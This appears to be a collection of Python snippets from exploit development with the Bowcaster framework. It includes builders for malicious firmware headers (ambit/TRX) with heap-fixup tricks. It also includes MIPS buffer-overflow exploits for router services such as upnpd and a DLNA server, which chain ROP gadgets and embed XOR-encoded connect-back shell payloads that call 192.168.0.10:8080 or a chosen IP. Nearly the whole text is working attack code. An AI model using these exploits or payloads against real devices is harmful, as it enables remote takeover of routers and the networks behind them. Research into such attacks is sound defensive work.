def __build_header(self, checksum=0): logger = self.logger SC = SectionCreator(BigEndian, logger=logger) #Add magic sig to identify ambit header SC.string_section(self.MAGIC_OFF, self.MAGIC, description="Magic bytes for ambit header.") #Set header size SC.gadget_section(self.HEADER_SIZE_OFF, self.size, "Size field representing length of ambit header.") #Set header checksum SC.gadget_section(self.HEADER_CHECKSUM_OFF, checksum) #Set board ID SC.string_section(self.BOARD_ID_OFF, self.BOARD_ID, description="Board ID string.") buf = OverflowBuffer(BigEndian, self.size, overflow_sections=SC.section_list, logger=logger) return buf
def __build_header(self): logger=self.logger SC=SectionCreator(BigEndian,logger=logger) SC.string_section(self.MAGIC_OFF,self.MAGIC, description="Magic bytes for ambit header.") SC.gadget_section(self.HEADER_SIZE_OFF,self.size,"Size field representing length of ambit header.") buf=OverflowBuffer(BigEndian,self.size, overflow_sections=SC.section_list, logger=logger) return buf
def __build_header(self, checksum=0): logger = self.logger SC = SectionCreator(BigEndian, logger=logger) #Add magic sig to identify ambit header SC.string_section(self.MAGIC_OFF, self.MAGIC, description="Magic bytes for ambit header.") #Set header size SC.gadget_section(self.HEADER_SIZE_OFF, self.size, "Size field representing length of ambit header.") #Set header checksum SC.gadget_section(self.HEADER_CHECKSUM_OFF, checksum) #Set board ID SC.string_section(self.BOARD_ID_OFF, self.BOARD_ID, description="Board ID string.") #Partition 1 & 2 sizes SC.gadget_section( self.PART_1_SIZE_OFF, self.trx_image_sz, description= "Size of the TRX image. including TRX header, kernel, and filesystem." ) SC.gadget_section(self.PART_2_SIZE_OFF, self.PART_2_SIZE, description="Size 0 for unused second partition.") #upnpd doesn't check this but the CFE bootlader does SC.gadget_section(self.PART_1_CHECKSUM_OFF, self.trx_image_checksum, description="Checksum of the TRX image.") SC.gadget_section( self.FREE_FIXUP_OFF, self.FREE_FIXUP, description="fake mem chunk metadata to avoid crashing free().") buf = OverflowBuffer(BigEndian, self.size, overflow_sections=SC.section_list, logger=logger) return buf
def __build_header(self, checksum=0): logger = self.logger SC = SectionCreator(BigEndian, logger=logger) SC.string_section(self.MAGIC_OFF, self.MAGIC, description="Magic bytes for ambit header.") SC.gadget_section(self.HEADER_SIZE_OFF, self.size, "Size field representing length of ambit header.") #Set header checksum SC.gadget_section(self.HEADER_CHECKSUM_OFF, checksum) #Set board ID SC.string_section(self.BOARD_ID_OFF, self.BOARD_ID, description="Board ID string.") #Partition 1 size: SC.gadget_section( self.PART_1_SIZE_OFF, self.trx_image_sz, description= "Size of the TRX image. including TRX header, kernel, and filesystem." ) SC.gadget_section(self.PART_2_SIZE_OFF, self.PART_2_SIZE, description="Size 0 for unused second partition.") SC.gadget_section(self.PART_1_CHECKSUM_OFF, self.trx_image_checksum, description="Checksum of the TRX image.") SC.gadget_section( self.PART_1_2_CHECKSUM_OFF, self.trx_image_checksum, description="Checksum of the TRX image. Partition 2 is unused.") SC.string_section(self.VERSION_STRING_OFF, self.version, description="Packed version string.") buf = OverflowBuffer(BigEndian, self.size, overflow_sections=SC.section_list, logger=logger) return buf
def build_overflow(logger=None): badchars=["\x00","\x20","\r","\n","\""] libc_base_address=0x2aaf8000 reg_s0=1007 reg_s1=1011 reg_s2=1015 reg_s3=1019 reg_s4=1023 reg_s5=1027 reg_s6=1031 reg_s7=1035 reg_pc=1043 # First rop gadget loads stack data into $ra # that correlates to this offset in the exploit string reg_new_ra=1075 # stack returns correlates # to this offset into the exploit string. stack_return=1351 SC=SectionCreator(LittleEndian,base_address=libc_base_address,badchars=badchars,logger=logger) ########################################################################### # Stages a 2 sec arg to sleep() in $a0 # Stages 0x20+var4($sp) in $ra; return address for sleep() # Jumps to $s0 ########################################################################### SC.gadget_section(reg_pc,0x0004FA3C, description="stage arg to sleep in $a0, stage return from sleep in $ra,jalr $s0") ########################################################################### # Address of sleep() function ########################################################################### SC.gadget_section(reg_s0,0x56bd0,description="Address of sleep()") ########################################################################### # Stackfinder. Load the following: # $s4=$sp+0x5d0+var_5b4 # $s2=$sp+0x5d0+var_428 # $s0=$sp+0x5d0+var_4c0 # Then jalr $s6 ########################################################################### SC.gadget_section(reg_new_ra,0x000255FC, description="Sleep() returns here.") ########################################################################### # Jalr to $s0, which should point to the stack. ########################################################################### SC.gadget_section(reg_s6,0x000159D8,description="jalr to $s0") ########################################################################### # Connect back payload phones home to 192.168.0.10:8080 ########################################################################### payload=ConnectbackPayload(CALLBACK_IP,LittleEndian) ########################################################################### # Encode the connect-back payload with an XOR encoder # to sanitize out null bytes. ########################################################################### encoded_payload=MipsXorEncoder(payload,key=0xed27926d,badchars=badchars,logger=logger) SC.string_section(1351,encoded_payload.shellcode, description="XOR Encoded connect-back payload. connects back to 192.168.0.10:8080.") # Build the exploit buffer buf=OverflowBuffer(LittleEndian,2048,overflow_sections=SC.section_list,logger=logger) return buf
def __init__(self, length, connectback_ip, port=8080, logger=None): cls = self.__class__ if not logger: logger = Logging() self.logger = logger logger.LOG_INFO("Building buffer overflow.") ra = 211 s8 = 207 fp = s8 s7 = 203 s6 = 199 s5 = 195 s4 = 191 s3 = 187 s2 = 183 s1 = 179 s0 = 175 SC = SectionCreator(LittleEndian, badchars=cls.BADCHARS, base_address=cls.LIBC_BASE) logger.LOG_INFO("Assembling ROP chain.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x4A558,375)) #This needs to be a pointer that can be dereferenced to another pointer, #which can be incremented to a memory location. #This is a pointer in the .sdata section that points to itself, and is #followed by null bytes and is writable. SC.gadget_section( 375, 0x4A558, description= "Placeholder for passed_args[0]. Passed to strcatf() at 0x0041635C.", base_address=cls.LIBAVUTIL_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,151)) #This needs to be any readable memory location. #This points to the string "November" in libc's read-only data section. SC.gadget_section( 151, 0x0005367A, description= "Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", base_address=cls.LIBC_BASE) # SC.gadget_section(151,0x126DB0, # description="Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.", # base_address=cls.LIBAVCODEC_BASE) # # SC.gadget_section(159,0x126db4, # description="Pointer to nul bytes.Placeholder for argument to vsnprintf()", # base_address=cls.LIBAVCODEC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,103)) #Pointer to "November" in libc SC.gadget_section( 103, 0x0005367A, description= "Placeholder for 'mime' stack hazard. Passed to strcatf() in $a2 at 0x0041644C", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,163)) #Pointer to "November" in libc SC.gadget_section( 163, 0x0005367A, description= "Placeholder from 'detailID stack hazard. Passed to strcatf() in var_110 at 0x41644c", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1ca490b,391)) SC.gadget_section( 391, 0x1ca490b, description= ("Arbitrary number that gets transformed into a pointer that can be dereferenced.\n" + "Ultimately Passed to strcatf() in var_118 at 0x41644c"), base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x07EC80,363)) SC.gadget_section( 363, 0x07EC80, description= "Placeholder for stack hazard. Pointer to this address passed to strcatf() at 0x415064.", base_address=cls.LIBAVFORMAT_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0xFFF80BE0,367)) SC.gadget_section( 367, 0xFFF80BE0, description= "Placeholder, than when added to the libavformat's .sdata pointer, will result in a pointer into libsqlite's data segment.", base_address=0x0) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x1D95C,ra)) # .text:0001D95C move $t9, $s1 # .text:0001D960 lw $ra, 0x28+var_4($sp) # .text:0001D964 lw $s2, 0x28+var_8($sp) # .text:0001D968 lw $s1, 0x28+var_C($sp) # .text:0001D96C lw $s0, 0x28+var_10($sp) # .text:0001D970 jr $t9 # .text:0001D974 addiu $sp, 0x28 SC.gadget_section( ra, 0x1D95C, description= "[ra] Stage stack data into $ra for return from sleep(), jr $s1.", base_address=cls.LIBC_BASE) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x43884,s1)) # .text:00043884 move $t9, $s0 # .text:00043888 li $a0, 2 # .text:0004388C lw $s0, 0x20+var_8($sp) # .text:00043890 li $a1, 1 # .text:00043894 move $a2, $zero # .text:00043898 jr $t9 # .text:0004389C addiu $sp, 0x20 SC.gadget_section( s1, 0x43884, description="[s1] Stage 2 sec arg to sleep(), jr $s0") #new register offsets (As a result #of $ra gadget, but before $s1 gadget is loaded by $ra gadget): ra = 251 s2 = 247 s1 = 243 s0 = 239 # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s0)) #Stage sleep() in $s0 SC.gadget_section( s0, 0x000506C0, description= "[s0] Address of sleep(). Next gadget jumps to this address.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s2)) SC.gadget_section( s2, 0x000506C0, description= "[s2] A pointer that can be dereferenced with out crashing the next gadget." ) # logger.LOG_INFO("Adding 0x%08x at %d." % (0x427A8,ra)) # .text:000427A8 addiu $s0, $sp, 0xE0+var_C0 # .text:000427AC lw $a0, 0($s2) # .text:000427B0 move $a1, $s1 # .text:000427B4 move $a2, $s4 # .text:000427B8 move $t9, $s6 # .text:000427BC jalr $t9 # .text:000427C0 move $a3, $s0 SC.gadget_section( ra, 0x427A8, description= "[ra] Stackfinder. stage 0xE0+var_C0+$sp in $s0, jalr $s6.") # logger.LOG_INFO("Adding 0x%08x at %d." % (0x10938,s6)) # (Start one instruction early because 3c is a bad byte.) # .text:00010938 la $t9, free # .text:0001093C move $t9, $s0 # .text:00010940 jalr $t9 # .text:00010944 move $a0, $s2 SC.gadget_section(s6, 0x10938, description="[s6] Stackjumper. jalr $s0.") logger.LOG_INFO("Adding trampoline 1 at offset 319.") trampoline_1 = Trampoline(LittleEndian, -310) SC.string_section( 319, trampoline_1.shellcode, description="Trampoline back to beginning of buffer.") logger.LOG_INFO("Adding trampoline 2 at offset 11.") trampoline_2 = Trampoline(LittleEndian, 1028) SC.string_section(11, trampoline_2.shellcode, description="Trampoline forward to trampoline 3.") #trampoline_3=Trampoline(LittleEndian,-618) #SC.string_section(1043,trampoline_3.shellcode, # description="Trampoline back to payload.") logger.LOG_INFO("Generating connect-back payload.") payload = ConnectbackPayload(connectback_ip, LittleEndian, port=port) try: logger.LOG_INFO("Attempting to XOR encode payload.") encoded_payload = MipsXorEncoder(payload, logger=logger, badchars=cls.BADCHARS) except EncoderException as e: logger.LOG_WARN("%s" % str(e)) raise DLNAOverflowException("Payload generation failed.") self.logger.LOG_DEBUG("Length of encoded shellcode: %d" % len(encoded_payload.shellcode)) logger.LOG_INFO("Adding encoded payload at offset 1043.") #offset 427 with 3trampolines. 1043 with only 2 trampolines SC.string_section( 1043, encoded_payload.shellcode, description="XOR encoded connect-back shell to ip:port %s:%d" % (connectback_ip, port)) self.buf = OverflowBuffer(LittleEndian, length, SC.section_list) logger.LOG_INFO("Finished generating overflow string.")
#!/usr/bin/env python from struct import pack from bowcaster.development import OverflowBuffer from bowcaster.common import BigEndian import sys sequence = sys.argv[1] string = pack('>l',int(sequence,16)) oflow = OverflowBuffer(BigEndian,5000) print oflow.find_offset(string)
def __init__(self, input_files, endianness, logger=None): if not logger: logger = Logging(max_level=Logging.DEBUG) cls = self.__class__ self.endianness = endianness if len(input_files) < 1 or len(input_files) > 3: raise TrxHeaderException( "Must have at least one input file and not more than 3.") partitions = [] total_size = cls.TRX_HEADER_SIZE offsets = [0, 0, 0] i = 0 for file in input_files: data = open(file, "rb").read() offsets[i] = total_size total_size += len(data) partitions.append(data) i += 1 sc = SectionCreator(self.endianness) sc.string_section(cls.TRX_MAGIC_OFFSET, cls.TRX_MAGIC, description="TRX magic bytes.") sc.gadget_section(cls.TRX_SIZE_OFFSET, total_size, description="Total size of trx+data.") version_flags = self._make_version_flags(cls.TRX_FLAGS, cls.TRX_VERSION) sc.string_section(cls.TRX_FLAGS_OFFSET, version_flags, description="TRX flags & version.") partition_offset = offsets[0] sc.gadget_section(cls.TRX_PART_1_OFFSET, partition_offset, description="Offset of partition 1.") partition_offset = offsets[1] sc.gadget_section(cls.TRX_PART_2_OFFSET, partition_offset, description="Offset of partition 2.") partition_offset = offsets[2] sc.gadget_section(cls.TRX_PART_3_OFFSET, partition_offset, description="Offset of partition 3.") pre_checksum_header = OverflowBuffer(self.endianness, cls.TRX_HEADER_SIZE, sc.section_list) data = str(pre_checksum_header) data = data[cls.TRX_FLAGS_OFFSET:] data += "".join(partitions) crc = CRC32(data).crc logger.LOG_DEBUG("TRX crc32: 0x%08x" % crc) sc.gadget_section(cls.TRX_CRC32_OFFSET, crc, description="crc32 of header+data.") trx_header = OverflowBuffer(self.endianness, cls.TRX_HEADER_SIZE, sc.section_list) self.trx_header = str(trx_header)